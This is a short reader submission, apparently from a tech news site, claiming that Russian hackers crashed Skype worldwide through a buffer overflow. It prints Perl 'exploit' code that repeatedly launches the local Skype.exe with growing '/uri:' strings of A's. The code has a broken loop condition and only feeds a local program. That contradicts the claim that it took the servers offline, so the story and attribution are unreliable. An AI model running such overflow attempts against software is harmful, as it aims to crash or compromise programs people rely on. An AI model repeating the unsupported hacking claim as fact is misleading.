An anonymous reader writes: Yesterday's Skype worldwide crash has been caused by Russian hackers, as per www.xakep.ru forum info (http://www.xakep.ru/post/39746/default.asp).
They have found a local buffer overflow vulnerability caused by sending a long string to the Skype authorisation server. Within several hours those guys managed to take offline all Skype servers and prevent users from logging in.
Here is exploit's code:
[code]#!/usr/bin/perl
# Simle Code by Maranax Porex ;D
# Ya Skaypeg!!
for ($i=256; $i>xCCCCC; $i=$i+256)
{
$eot='AAAA' x $i;
call_sp();
}
exit;
sub call_sp()
{
$str="\"C:\\Program Files\\Skype\\Phone\\Skype.exe\" \"/uri:$eot\"";
system("$str");
}[/code]